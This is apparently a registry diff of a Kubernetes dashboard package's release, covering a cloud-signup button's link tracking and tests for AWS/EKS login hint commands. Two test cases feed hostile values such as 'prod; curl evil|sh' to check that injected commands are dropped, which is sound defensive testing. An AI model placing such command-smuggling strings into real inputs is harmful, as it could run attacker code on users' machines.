@skyhook-io/radar-app 1.13.4 → 1.14.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (230) hide show
  1. package/package.json +8 -8
  2. package/src/App.tsx +60 -24
  3. package/src/RadarApp.tsx +5 -0
  4. package/src/api/client.authRedirect.test.ts +12 -1
  5. package/src/api/client.prometheusStatus.test.ts +24 -0
  6. package/src/api/client.ts +325 -16
  7. package/src/api/diagnose.ts +62 -15
  8. package/src/api/drain-plan.test.ts +86 -0
  9. package/src/api/quotas.test.ts +26 -0
  10. package/src/api/quotas.ts +20 -0
  11. package/src/api/workloadMetrics.test.ts +40 -0
  12. package/src/api/workloadMetrics.ts +68 -0
  13. package/src/components/CloudConnectFlow.tsx +179 -42
  14. package/src/components/CloudFunnelButton.tsx +107 -36
  15. package/src/components/ConnectionErrorView.test.tsx +30 -0
  16. package/src/components/ConnectionErrorView.tsx +31 -19
  17. package/src/components/SyncProgressPanel.tsx +73 -0
  18. package/src/components/audit/AuditView.tsx +2 -0
  19. package/src/components/cloudConnectHandoff.test.ts +140 -0
  20. package/src/components/cloudConnectHandoff.ts +124 -0
  21. package/src/components/diagnose/AgentCase.tsx +131 -0
  22. package/src/components/diagnose/DiagnoseContext.tsx +2 -1
  23. package/src/components/diagnose/DiagnoseSurface.test.tsx +0 -20
  24. package/src/components/diagnose/DiagnoseSurface.tsx +32 -195
  25. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +783 -7
  26. package/src/components/diagnose/InvestigationEvidencePane.tsx +774 -133
  27. package/src/components/diagnose/InvestigationView.tsx +222 -5
  28. package/src/components/diagnose/diagnoseEvidenceTypes.ts +22 -1
  29. package/src/components/diagnose/investigationCase.test.tsx +1568 -0
  30. package/src/components/diagnose/investigationCase.ts +439 -0
  31. package/src/components/diagnose/investigationEvidence/adapters/changes.ts +60 -0
  32. package/src/components/diagnose/investigationEvidence/adapters/diagnose.test.ts +573 -0
  33. package/src/components/diagnose/investigationEvidence/adapters/diagnose.ts +935 -0
  34. package/src/components/diagnose/investigationEvidence/adapters/events.ts +96 -0
  35. package/src/components/diagnose/investigationEvidence/adapters/helm.test.ts +242 -0
  36. package/src/components/diagnose/investigationEvidence/adapters/helm.ts +208 -0
  37. package/src/components/diagnose/investigationEvidence/adapters/issues.ts +172 -0
  38. package/src/components/diagnose/investigationEvidence/adapters/logs.test.ts +283 -0
  39. package/src/components/diagnose/investigationEvidence/adapters/logs.ts +183 -0
  40. package/src/components/diagnose/investigationEvidence/adapters/permissions.test.ts +528 -0
  41. package/src/components/diagnose/investigationEvidence/adapters/permissions.ts +292 -0
  42. package/src/components/diagnose/investigationEvidence/adapters/prometheus.test.ts +1641 -0
  43. package/src/components/diagnose/investigationEvidence/adapters/prometheus.ts +769 -0
  44. package/src/components/diagnose/investigationEvidence/adapters/resource.test.ts +54 -0
  45. package/src/components/diagnose/investigationEvidence/adapters/resource.ts +257 -0
  46. package/src/components/diagnose/investigationEvidence/adapters/topology.ts +207 -0
  47. package/src/components/diagnose/investigationEvidence/builder.ts +418 -0
  48. package/src/components/diagnose/investigationEvidence/evidenceFixtures.ts +179 -0
  49. package/src/components/diagnose/investigationEvidence/identity.test.ts +614 -0
  50. package/src/components/diagnose/investigationEvidence/identity.ts +261 -0
  51. package/src/components/diagnose/investigationEvidence/index.ts +55 -0
  52. package/src/components/diagnose/investigationEvidence/observations.ts +954 -0
  53. package/src/components/diagnose/investigationEvidence/parse.ts +467 -0
  54. package/src/components/diagnose/investigationEvidence/projection.test.ts +2703 -0
  55. package/src/components/diagnose/investigationEvidence/types.ts +512 -0
  56. package/src/components/diagnose/investigationEvidenceKinds.ts +218 -0
  57. package/src/components/diagnose/investigationEvidencePresentation.test.ts +31 -0
  58. package/src/components/diagnose/investigationEvidencePresentation.ts +1 -0
  59. package/src/components/diagnose/investigationMetrics.test.ts +712 -0
  60. package/src/components/diagnose/investigationMetrics.ts +393 -0
  61. package/src/components/diagnose/investigationSourceFocus.ts +2 -0
  62. package/src/components/diagnose/investigationState.test.ts +322 -0
  63. package/src/components/diagnose/investigationState.ts +147 -25
  64. package/src/components/diagnose/parts.test.tsx +482 -0
  65. package/src/components/diagnose/parts.tsx +418 -41
  66. package/src/components/diagnose/target.test.ts +19 -0
  67. package/src/components/diagnose/target.ts +3 -2
  68. package/src/components/gitops/GitOpsView.tsx +7 -0
  69. package/src/components/gitops/RemoteDestinationCloudHint.tsx +26 -0
  70. package/src/components/resource/PrometheusCharts.overlays.test.ts +22 -0
  71. package/src/components/resource/PrometheusCharts.tsx +4 -3
  72. package/src/components/resource/PrometheusChartsGrid.render.test.tsx +99 -0
  73. package/src/components/resource/PrometheusChartsGrid.tsx +245 -103
  74. package/src/components/resource/RightsizingStrip.test.ts +38 -0
  75. package/src/components/resource/RightsizingStrip.tsx +15 -3
  76. package/src/components/resource/WorkloadMetricsHelpDialog.test.tsx +79 -0
  77. package/src/components/resource/WorkloadMetricsHelpDialog.tsx +145 -0
  78. package/src/components/resource/WorkloadMetricsSection.render.test.tsx +351 -0
  79. package/src/components/resource/WorkloadMetricsSection.tsx +486 -0
  80. package/src/components/resource/workloadMetricValues.test.ts +65 -0
  81. package/src/components/resource/workloadMetricValues.ts +30 -0
  82. package/src/components/resources/PodFilePreview.test.tsx +131 -0
  83. package/src/components/resources/PodFilePreview.tsx +394 -0
  84. package/src/components/resources/PodFilesystemModal.tsx +157 -67
  85. package/src/components/resources/ResourcesView.tsx +44 -6
  86. package/src/components/resources/renderers/NamespaceRenderer.tsx +7 -1
  87. package/src/components/resources/renderers/PodRenderer.tsx +4 -0
  88. package/src/components/resources/renderers/RolloutRenderer.tsx +15 -1
  89. package/src/components/resources/renderers/WorkloadRenderer.tsx +3 -0
  90. package/src/components/rightsizing/RightsizingScanView.tsx +21 -0
  91. package/src/components/settings/SettingsDialog.tsx +94 -14
  92. package/src/components/traffic/TrafficFlowList.tsx +229 -70
  93. package/src/components/traffic/TrafficGraph.tsx +6 -6
  94. package/src/components/traffic/TrafficView.tsx +10 -9
  95. package/src/components/traffic/trafficFilters.test.ts +28 -1
  96. package/src/components/traffic/trafficFilters.ts +31 -0
  97. package/src/components/workload/WorkloadView.tsx +19 -8
  98. package/src/context/ConnectionContext.tsx +48 -3
  99. package/src/context/DiagnoseCustomization.test.tsx +26 -0
  100. package/src/context/DiagnoseCustomization.tsx +15 -2
  101. package/src/index.css +17 -0
  102. package/src/index.ts +1 -0
  103. package/src/utils/navigation.ts +1 -1
  104. package/src/utils/shell-safe.test.ts +25 -1
  105. package/src/utils/shell-safe.ts +16 -0
  106. package/src/utils/topology-namespace.test.ts +64 -0
  107. package/src/utils/topology-namespace.ts +18 -0
  108. package/src/components/diagnose/investigationEvidence.test.ts +0 -5202
  109. package/src/components/diagnose/investigationEvidence.ts +0 -4784
  110. package/src/components/gitops/GitOpsActions.tsx +0 -1
  111. package/src/components/gitops/GitOpsStatusBadge.tsx +0 -1
  112. package/src/components/gitops/ManagedResourcesList.tsx +0 -1
  113. package/src/components/gitops/SyncCountdown.tsx +0 -1
  114. package/src/components/gitops/index.ts +0 -4
  115. package/src/components/helm/ManifestDiffViewer.tsx +0 -69
  116. package/src/components/logs/JsonLogLine.tsx +0 -1
  117. package/src/components/logs/LogCore.tsx +0 -2
  118. package/src/components/logs/useLogBuffer.ts +0 -2
  119. package/src/components/logs/useLogSearch.ts +0 -1
  120. package/src/components/resource-drawer/ResourceDrawer.tsx +0 -216
  121. package/src/components/resources/drawer-components.tsx +0 -1
  122. package/src/components/resources/renderers/AlertRenderer.tsx +0 -1
  123. package/src/components/resources/renderers/CNPGBackupRenderer.tsx +0 -1
  124. package/src/components/resources/renderers/CNPGPoolerRenderer.tsx +0 -1
  125. package/src/components/resources/renderers/CNPGScheduledBackupRenderer.tsx +0 -1
  126. package/src/components/resources/renderers/CertificateRenderer.tsx +0 -1
  127. package/src/components/resources/renderers/CertificateRequestRenderer.tsx +0 -1
  128. package/src/components/resources/renderers/ChallengeRenderer.tsx +0 -1
  129. package/src/components/resources/renderers/ClusterComplianceReportRenderer.tsx +0 -1
  130. package/src/components/resources/renderers/ClusterExternalSecretRenderer.tsx +0 -1
  131. package/src/components/resources/renderers/ClusterIssuerRenderer.tsx +0 -1
  132. package/src/components/resources/renderers/ConfigAuditReportRenderer.tsx +0 -1
  133. package/src/components/resources/renderers/ConfigMapRenderer.tsx +0 -1
  134. package/src/components/resources/renderers/CronJobRenderer.tsx +0 -1
  135. package/src/components/resources/renderers/CronWorkflowRenderer.tsx +0 -1
  136. package/src/components/resources/renderers/EventRenderer.tsx +0 -1
  137. package/src/components/resources/renderers/ExposedSecretReportRenderer.tsx +0 -1
  138. package/src/components/resources/renderers/ExternalSecretRenderer.tsx +0 -1
  139. package/src/components/resources/renderers/FluxHelmReleaseRenderer.tsx +0 -1
  140. package/src/components/resources/renderers/GRPCRouteRenderer.tsx +0 -1
  141. package/src/components/resources/renderers/GatewayClassRenderer.tsx +0 -1
  142. package/src/components/resources/renderers/GatewayRenderer.tsx +0 -1
  143. package/src/components/resources/renderers/GenericRenderer.tsx +0 -1
  144. package/src/components/resources/renderers/GitRepositoryRenderer.tsx +0 -1
  145. package/src/components/resources/renderers/HTTPRouteRenderer.tsx +0 -1
  146. package/src/components/resources/renderers/HelmRepositoryRenderer.tsx +0 -1
  147. package/src/components/resources/renderers/IngressClassRenderer.tsx +0 -1
  148. package/src/components/resources/renderers/IngressRenderer.tsx +0 -1
  149. package/src/components/resources/renderers/IstioAuthorizationPolicyRenderer.tsx +0 -1
  150. package/src/components/resources/renderers/IstioDestinationRuleRenderer.tsx +0 -1
  151. package/src/components/resources/renderers/IstioGatewayRenderer.tsx +0 -1
  152. package/src/components/resources/renderers/IstioPeerAuthenticationRenderer.tsx +0 -1
  153. package/src/components/resources/renderers/IstioServiceEntryRenderer.tsx +0 -1
  154. package/src/components/resources/renderers/IstioVirtualServiceRenderer.tsx +0 -1
  155. package/src/components/resources/renderers/JobRenderer.tsx +0 -1
  156. package/src/components/resources/renderers/KarpenterEC2NodeClassRenderer.tsx +0 -1
  157. package/src/components/resources/renderers/KarpenterNodeClaimRenderer.tsx +0 -1
  158. package/src/components/resources/renderers/KedaScaledJobRenderer.tsx +0 -1
  159. package/src/components/resources/renderers/KedaScaledObjectRenderer.tsx +0 -1
  160. package/src/components/resources/renderers/KedaTriggerAuthRenderer.tsx +0 -1
  161. package/src/components/resources/renderers/KnativeConfigurationRenderer.tsx +0 -1
  162. package/src/components/resources/renderers/KnativeEventingRenderer.tsx +0 -1
  163. package/src/components/resources/renderers/KnativeFlowRenderer.tsx +0 -1
  164. package/src/components/resources/renderers/KnativeNetworkingRenderer.tsx +0 -1
  165. package/src/components/resources/renderers/KnativeRevisionRenderer.tsx +0 -1
  166. package/src/components/resources/renderers/KnativeRouteRenderer.tsx +0 -1
  167. package/src/components/resources/renderers/KnativeServiceRenderer.tsx +0 -1
  168. package/src/components/resources/renderers/KnativeSourceRenderer.tsx +0 -1
  169. package/src/components/resources/renderers/KustomizationRenderer.tsx +0 -1
  170. package/src/components/resources/renderers/KyvernoPolicyReportRenderer.tsx +0 -1
  171. package/src/components/resources/renderers/LeaseRenderer.tsx +0 -1
  172. package/src/components/resources/renderers/NetworkPolicyRenderer.tsx +0 -1
  173. package/src/components/resources/renderers/OCIRepositoryRenderer.tsx +0 -1
  174. package/src/components/resources/renderers/OrderRenderer.tsx +0 -1
  175. package/src/components/resources/renderers/PersistentVolumeRenderer.tsx +0 -1
  176. package/src/components/resources/renderers/PodDisruptionBudgetRenderer.tsx +0 -1
  177. package/src/components/resources/renderers/PodMonitorRenderer.tsx +0 -1
  178. package/src/components/resources/renderers/PriorityClassRenderer.tsx +0 -1
  179. package/src/components/resources/renderers/PrometheusRuleRenderer.tsx +0 -1
  180. package/src/components/resources/renderers/ReplicaSetRenderer.tsx +0 -1
  181. package/src/components/resources/renderers/RuntimeClassRenderer.tsx +0 -1
  182. package/src/components/resources/renderers/SbomReportRenderer.tsx +0 -1
  183. package/src/components/resources/renderers/SealedSecretRenderer.tsx +0 -1
  184. package/src/components/resources/renderers/SecretRenderer.tsx +0 -1
  185. package/src/components/resources/renderers/SecretStoreRenderer.tsx +0 -1
  186. package/src/components/resources/renderers/ServiceMonitorRenderer.tsx +0 -1
  187. package/src/components/resources/renderers/SimpleRouteRenderer.tsx +0 -1
  188. package/src/components/resources/renderers/StorageClassRenderer.tsx +0 -1
  189. package/src/components/resources/renderers/TraefikIngressRouteRenderer.tsx +0 -1
  190. package/src/components/resources/renderers/VPARenderer.tsx +0 -1
  191. package/src/components/resources/renderers/VeleroScheduleRenderer.tsx +0 -1
  192. package/src/components/resources/renderers/VeleroVSLRenderer.tsx +0 -1
  193. package/src/components/resources/renderers/VulnerabilityReportRenderer.tsx +0 -1
  194. package/src/components/resources/renderers/WebhookConfigRenderer.tsx +0 -1
  195. package/src/components/resources/renderers/WorkflowRenderer.tsx +0 -1
  196. package/src/components/resources/renderers/WorkflowTemplateRenderer.tsx +0 -1
  197. package/src/components/resources/renderers/argo-cells.tsx +0 -1
  198. package/src/components/resources/renderers/certmanager-cells.tsx +0 -1
  199. package/src/components/resources/renderers/cnpg-cells.tsx +0 -1
  200. package/src/components/resources/renderers/eso-cells.tsx +0 -1
  201. package/src/components/resources/renderers/flux-cells.tsx +0 -1
  202. package/src/components/resources/renderers/index.ts +0 -94
  203. package/src/components/resources/renderers/istio-cells.tsx +0 -1
  204. package/src/components/resources/renderers/karpenter-cells.tsx +0 -1
  205. package/src/components/resources/renderers/keda-cells.tsx +0 -1
  206. package/src/components/resources/renderers/knative-cells.tsx +0 -1
  207. package/src/components/resources/renderers/kyverno-cells.tsx +0 -1
  208. package/src/components/resources/renderers/prometheus-cells.tsx +0 -1
  209. package/src/components/resources/renderers/traefik-cells.tsx +0 -1
  210. package/src/components/resources/renderers/trivy-cells.tsx +0 -1
  211. package/src/components/resources/renderers/trivy-shared.tsx +0 -1
  212. package/src/components/resources/renderers/velero-cells.tsx +0 -1
  213. package/src/components/resources/resource-utils-argo.ts +0 -2
  214. package/src/components/resources/resource-utils-certmanager.ts +0 -2
  215. package/src/components/resources/resource-utils-eso.ts +0 -2
  216. package/src/components/resources/resource-utils-flux.ts +0 -2
  217. package/src/components/resources/resource-utils-istio.ts +0 -2
  218. package/src/components/resources/resource-utils-karpenter.ts +0 -2
  219. package/src/components/resources/resource-utils-knative.ts +0 -2
  220. package/src/components/resources/resource-utils-kyverno.ts +0 -2
  221. package/src/components/resources/resource-utils-prometheus.ts +0 -2
  222. package/src/components/resources/resource-utils-traefik.ts +0 -1
  223. package/src/components/resources/resource-utils-trivy.ts +0 -2
  224. package/src/components/resources/resource-utils-velero.ts +0 -2
  225. package/src/components/shared/EditableYamlView.tsx +0 -24
  226. package/src/components/timeline/DiffViewer.tsx +0 -1
  227. package/src/components/traffic/index.ts +0 -3
  228. package/src/components/ui/ForceDeleteConfirmDialog.tsx +0 -1
  229. package/src/components/ui/MetricsChart.tsx +0 -1
  230. package/src/components/ui/ResourceBar.tsx +0 -1
@@ -5,6 +5,14 @@ import { Collapse, CollapseChevron } from '@skyhook-io/k8s-ui/components/ui/Coll
5
5
  import { DialogPortal } from '@skyhook-io/k8s-ui/components/ui/DialogPortal'
6
6
  import { Tooltip } from './ui/Tooltip'
7
7
  import { CloudConnectFlow } from './CloudConnectFlow'
8
+ import {
9
+ type Handoff,
10
+ exitFor,
11
+ handoffForBlocked,
12
+ handoffForPrepareError,
13
+ isHandoffOutcome,
14
+ signupUrlFor as buildSignupUrl,
15
+ } from './cloudConnectHandoff'
8
16
  import { showApiError } from './ui/Toast'
9
17
  import {
10
18
  ApiError,
@@ -27,8 +35,10 @@ import {
27
35
  //
28
36
  // The only outbound call is the Hub's own copy, fetched when the dialog opens
29
37
  // (never on a poll or a timer) and falling back per-field to the constants
30
- // below. Conversion is otherwise measured on the receiving end: utm_content
31
- // distinguishes which lane sent the user.
38
+ // below. The request names the lane the footer renders and where this Radar
39
+ // runs, both closed enums. The links into the Hub carry utm_content naming
40
+ // the link that was clicked and, after an in-app attempt that did not connect,
41
+ // radar_outcome saying what happened; see cloudConnectHandoff.ts.
32
42
  const FALLBACK_APP_URL = 'https://app.radarhq.io'
33
43
 
34
44
  // Rendered until (or unless) the Hub states its own. Keeping the compiled-in
@@ -47,7 +57,15 @@ const DEFAULT_ASSURANCES = [
47
57
  'SOC 2 Type II',
48
58
  '3 clusters free, no card required',
49
59
  ]
50
- const SIGNUP_QUERY = '?utm_source=radar-oss&utm_medium=app&utm_campaign=cloud-modal'
60
+ // Other OSS surfaces (a GitOps app that deploys to another cluster, say)
61
+ // point at Radar Cloud by asking this button to open its dialog, so there
62
+ // is one pitch and one flow. The button is mounted whenever Radar runs
63
+ // standalone; embedded hosts never mount it and never dispatch this.
64
+ const OPEN_EVENT = 'radar:open-cloud-funnel'
65
+
66
+ export function openCloudFunnel() {
67
+ window.dispatchEvent(new Event(OPEN_EVENT))
68
+ }
51
69
  const ABOUT_URL = 'https://radarhq.io/about'
52
70
  const PRICING_URL = 'https://radarhq.io/pricing'
53
71
  const SELF_HOSTED_DOCS_URL = 'https://radarhq.io/docs/cloud/self-hosted/'
@@ -79,25 +97,33 @@ export function CloudFunnelButton() {
79
97
  const [seen, setSeen] = useState(readSeen)
80
98
  const [inFlowView, setInFlowView] = useState(false)
81
99
  const [blocked, setBlocked] = useState<CloudInstallBlocked | null>(null)
82
- // Set once an in-app attempt has actually failed, so the CTA reads "Try
83
- // again" instead of implying a first attempt. Survives closing the modal
84
- // (the failure belongs to the cluster, not the dialog session) but not a
85
- // reload, and is reset below when the kubeconfig context changes — it must
86
- // never describe a cluster the user has switched away from.
87
- const [prepareFailed, setPrepareFailed] = useState(false)
100
+ // Set once an in-app attempt has ended without connecting, naming what
101
+ // happened (a flow failure kind, a blocked plan, a canceled plan, or the
102
+ // prepare call itself failing) and whether it is worth trying again. It
103
+ // relabels the CTA "Try again" for a retryable failure and lets the browser
104
+ // link say what the person is coming from. Survives closing the modal (the
105
+ // outcome belongs to the cluster, not the dialog session) but not a reload,
106
+ // and is reset below when the kubeconfig context changes — it must never
107
+ // describe a cluster the user has switched away from.
108
+ const [handoff, setHandoff] = useState<Handoff | null>(null)
109
+ const prepareFailed = handoff?.retryable ?? false
88
110
 
89
111
  const capabilities = useCapabilities()
90
112
  const lane = capabilities.data?.cloudConnect?.lane ?? 'wizard'
91
113
  const appUrl = capabilities.data?.cloudConnect?.appUrl || FALLBACK_APP_URL
92
- // utm_content distinguishes the lane that opened the Hub — measured Hub-side
93
- // only when the user actually navigates there; Radar transmits nothing.
94
- const signupUrlFor = (content: string) => `${appUrl}/signup${SIGNUP_QUERY}&utm_content=${content}`
95
- const signupUrl = signupUrlFor('funnel-cta')
114
+ // utm_content names the link that was clicked. It travels only in the link
115
+ // the user opens; Radar sends nothing on its own. Only the blocked card may
116
+ // deep-link the install page (see exitFor); the pitch buttons and the
117
+ // footer link go to signup.
118
+ const signupUrl = buildSignupUrl(appUrl, 'wizard-signup-button')
96
119
 
97
120
  // Only while the dialog is open — never on the capabilities poll. The Hub
98
121
  // learns that someone opened it, which is congruent with what the dialog is
99
122
  // for; it must not learn that Radar is merely running.
100
- const connectInfo = useCloudConnectInfo(capabilities.data?.cloudConnect?.apiUrl, open)
123
+ const connectInfo = useCloudConnectInfo(capabilities.data?.cloudConnect?.apiUrl, open, {
124
+ lane,
125
+ mode: capabilities.data?.deployment?.mode,
126
+ })
101
127
 
102
128
  // In-cluster Radar can't install its own connection, but it knows exactly
103
129
  // which install it is — so the wizard link can carry the real target, and a
@@ -135,7 +161,7 @@ export function CloudFunnelButton() {
135
161
  // Anything else failed before a flow existed. Return to the pitch rather
136
162
  // than leaving the flow view armed, where a later status change would
137
163
  // pull the user into a screen they did not ask for.
138
- exitFlow(true)
164
+ exitFlow(handoffForPrepareError(err))
139
165
  showApiError('Could not inspect this cluster for Cloud connect', err instanceof Error ? err.message : undefined)
140
166
  },
141
167
  // No meta.errorMessage: the global handler cannot tell a single-flight 409
@@ -153,33 +179,65 @@ export function CloudFunnelButton() {
153
179
 
154
180
  const startConnect = () => {
155
181
  setBlocked(null)
156
- setPrepareFailed(false)
182
+ setHandoff(null)
157
183
  setInFlowView(true)
158
184
  prepare.mutate()
159
185
  }
160
186
 
161
- // A flow that ended in failure returns to a pitch whose CTA must not read
162
- // like a first attempt. The caller passes the outcome because dismissing
163
- // already overwrote the status by this point.
164
- const exitFlow = (failed = false) => {
165
- if (failed) setPrepareFailed(true)
187
+ // A flow that ended without connecting returns to a pitch whose CTA must
188
+ // not read like a first attempt, and whose browser link knows what happened.
189
+ // The caller passes the outcome because dismissing already overwrote the
190
+ // status by this point. Every exit sets it, null included, so a connected
191
+ // flow clears what an earlier attempt left behind.
192
+ const exitFlow = (outcome: Handoff | null = null) => {
193
+ setHandoff(outcome)
166
194
  setInFlowView(false)
167
195
  setBlocked(null)
168
196
  }
169
197
 
198
+ // What the person is coming from. A blocked plan is read from local state,
199
+ // not the status: the status query keeps serving its last polled value
200
+ // (idle, usually) while the blocked view is up. A blocked plan counts as an
201
+ // attempt: the user tried the in-app path and was refused, and the wizard
202
+ // is the right next step for a GitOps-owned install. A failed flow carries
203
+ // the server's kind and its own verdict on retrying — the failed card
204
+ // already honors retrySafe, and the pitch must not contradict it two clicks
205
+ // later. Leaving a live plan is the user canceling it, not a failure. Only
206
+ // a connected flow, or no flow at all, leaves nothing to carry.
207
+ const outcomeOf = (st: CloudInstallStatus): Handoff | null => {
208
+ if (blocked) return handoffForBlocked(blocked.reason, blocked.attempted)
209
+ if (st.state === 'failed') {
210
+ return {
211
+ outcome: isHandoffOutcome(st.failure?.kind) ? st.failure.kind : 'failure_kind_unknown',
212
+ retryable: st.failure?.retrySafe ?? false,
213
+ }
214
+ }
215
+ if (st.state === 'blocked' && st.blocked) return handoffForBlocked(st.blocked.reason, st.blocked.attempted)
216
+ if (st.state === 'connected' || st.state === 'idle') return null
217
+ return { outcome: 'install_plan_canceled', retryable: false }
218
+ }
219
+
220
+ useEffect(() => {
221
+ window.addEventListener(OPEN_EVENT, openModal)
222
+ return () => window.removeEventListener(OPEN_EVENT, openModal)
223
+ })
224
+
170
225
  // Re-attach to a server-owned flow whenever one is observed while the modal
171
226
  // is open — the status query may resolve after openModal ran.
172
227
  useEffect(() => {
173
228
  if (open && lane === 'driver' && flowLive) setInFlowView(true)
174
229
  }, [open, lane, flowLive])
175
230
 
176
- // prepareFailed outlives the dialog but must not outlive the cluster it
177
- // describes: a context switch swaps every query cache, yet this component
178
- // stays mounted, so without the reset cluster A's failure would relabel the
179
- // CTA for cluster B.
231
+ // handoff and a blocked plan outlive the dialog but must not outlive the
232
+ // cluster they describe: a context switch swaps every query cache, yet this
233
+ // component stays mounted, so without the reset cluster A's outcome would
234
+ // relabel the CTA (and the link) for cluster B, and a blocked view left
235
+ // armed would reopen on B with A's refusal, feeding it back into the
236
+ // outcome on Back.
180
237
  const contextName = useClusterInfo().data?.context
181
238
  useEffect(() => {
182
- setPrepareFailed(false)
239
+ setHandoff(null)
240
+ setBlocked(null)
183
241
  }, [contextName])
184
242
 
185
243
  // The server owns the "nothing to pitch" decision: an already-tunneled
@@ -248,9 +306,9 @@ export function CloudFunnelButton() {
248
306
  <CloudConnectFlow
249
307
  status={flowForView}
250
308
  blocked={blocked}
251
- signupUrl={signupUrlFor('flow-escape')}
309
+ exit={exitFor(appUrl, 'driver-blocked-card-browser-link', outcomeOf(flowForView))}
252
310
  onStatus={applyStatus}
253
- onExit={() => exitFlow(flowForView.state === 'failed')}
311
+ onExit={() => exitFlow(outcomeOf(flowForView))}
254
312
  />
255
313
  </div>
256
314
  ) : (
@@ -261,10 +319,12 @@ export function CloudFunnelButton() {
261
319
  <ModalFooter
262
320
  lane={lane}
263
321
  signupUrl={signupUrl}
264
- // driver-escape after a failed attempt, driver-alt before one, so
265
- // the Hub can tell "prefers the browser" from "app path broke".
266
- driverEscapeUrl={signupUrlFor(prepareFailed ? 'driver-escape' : 'driver-alt')}
322
+ // One link name whether or not an attempt preceded the click; the
323
+ // outcome, when present, is what says an attempt happened.
324
+ driverBrowserUrl={buildSignupUrl(appUrl, 'driver-footer-browser-link', handoff)}
267
325
  prepareFailed={prepareFailed}
326
+ // A prepare error's reason, kept on the pitch after its toast is gone.
327
+ prepareError={handoff?.detail}
268
328
  assurances={connectInfo.data?.assurances}
269
329
  notice={connectInfo.data?.notice}
270
330
  self={inCluster ? self.data : undefined}
@@ -316,8 +376,9 @@ function Eyebrow() {
316
376
  function ModalFooter({
317
377
  lane,
318
378
  signupUrl,
319
- driverEscapeUrl,
379
+ driverBrowserUrl,
320
380
  prepareFailed,
381
+ prepareError,
321
382
  assurances,
322
383
  notice,
323
384
  self,
@@ -327,10 +388,11 @@ function ModalFooter({
327
388
  }: {
328
389
  lane: 'driver' | 'wizard'
329
390
  signupUrl: string
330
- // Same destination as signupUrl, distinct utm_content: the caller encodes
331
- // whether this render follows a failed in-app attempt.
332
- driverEscapeUrl: string
391
+ // Same destination as signupUrl, distinct utm_content, and the outcome of
392
+ // an in-app attempt when one preceded this render.
393
+ driverBrowserUrl: string
333
394
  prepareFailed: boolean
395
+ prepareError?: string
334
396
  // Live copy from the Hub; undefined until (or unless) it arrives.
335
397
  assurances?: string[]
336
398
  notice?: string
@@ -409,7 +471,7 @@ function ModalFooter({
409
471
  a recovery path — install-averse operators need the door before
410
472
  anything fails, or they close the modal instead. */}
411
473
  <a
412
- href={driverEscapeUrl}
474
+ href={driverBrowserUrl}
413
475
  target="_blank"
414
476
  rel="noopener noreferrer"
415
477
  className="whitespace-nowrap text-[12.5px] text-theme-text-secondary hover:text-theme-text-primary hover:underline underline-offset-2 transition-colors"
@@ -433,6 +495,15 @@ function ModalFooter({
433
495
  Maybe later
434
496
  </button>
435
497
  </div>
498
+ {/* The last attempt's stop, when Radar could not even inspect the
499
+ cluster: the toast that first said so is gone in seconds, and "Try
500
+ again" alone does not say what to try again for. The footer link
501
+ above is the way around it. */}
502
+ {lane === 'driver' && prepareError && (
503
+ <p className="mt-2.5 text-[11.5px] leading-relaxed text-amber-600 dark:text-amber-400">
504
+ Radar couldn’t inspect this cluster: {prepareError}
505
+ </p>
506
+ )}
436
507
  {/* Mechanics, not marketing: a falsifiable claim the plan card then
437
508
  fulfills. Sits next to the button whose click it de-risks. */}
438
509
  {lane === 'driver' && (
@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
71
71
  expect(hints.fallbackCommand?.command).toBe('aws sso login')
72
72
  })
73
73
 
74
+ it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
75
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
76
+ const profile = 'myorg/prod/admin'
77
+
78
+ const rejected = getAuthRejectedHints(context, profile)
79
+ expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
80
+ expect(rejected.authCommand?.command).toBe(
81
+ 'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
82
+ )
83
+ expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
84
+
85
+ const auth = selectConnectionHints('auth', context, undefined, profile)
86
+ expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
87
+ expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
88
+
89
+ const timeout = selectConnectionHints('timeout', context, undefined, profile)
90
+ expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
91
+ expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
92
+ })
93
+
94
+ it('drops a hostile AWS profile instead of interpolating it', () => {
95
+ const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
96
+ const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
97
+
98
+ expect(hints.fallbackCommand?.command).toBe('aws sso login')
99
+ expect(hints.authCommand?.command).toBe(
100
+ 'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
101
+ )
102
+ })
103
+
74
104
  it('does not offer interpolated commands for hostile GKE context values', () => {
75
105
  const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
76
106
 
@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
6
6
  import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
7
7
  import { useAuthMe, useContexts } from '../api/client'
8
8
  import { Tooltip } from './ui/Tooltip'
9
- import { allShellSafe } from '../utils/shell-safe'
9
+ import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
10
10
  import { apiUrl } from '../api/config'
11
11
  import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
12
12
 
@@ -33,7 +33,7 @@ interface AuthHints {
33
33
  hideAuthButton?: boolean
34
34
  }
35
35
 
36
- function getAuthHints(context: string): AuthHints {
36
+ function getAuthHints(context: string, awsProfile?: string): AuthHints {
37
37
  const parsed = parseContextName(context)
38
38
 
39
39
  switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
54
54
  return result
55
55
  }
56
56
  case 'EKS': {
57
+ const profileFlag = awsProfileFlag(awsProfile)
57
58
  const result: AuthHints = {
58
59
  title: 'EKS Authentication Failed',
59
60
  hints: [
60
61
  'Radar could not get AWS credentials for this context.',
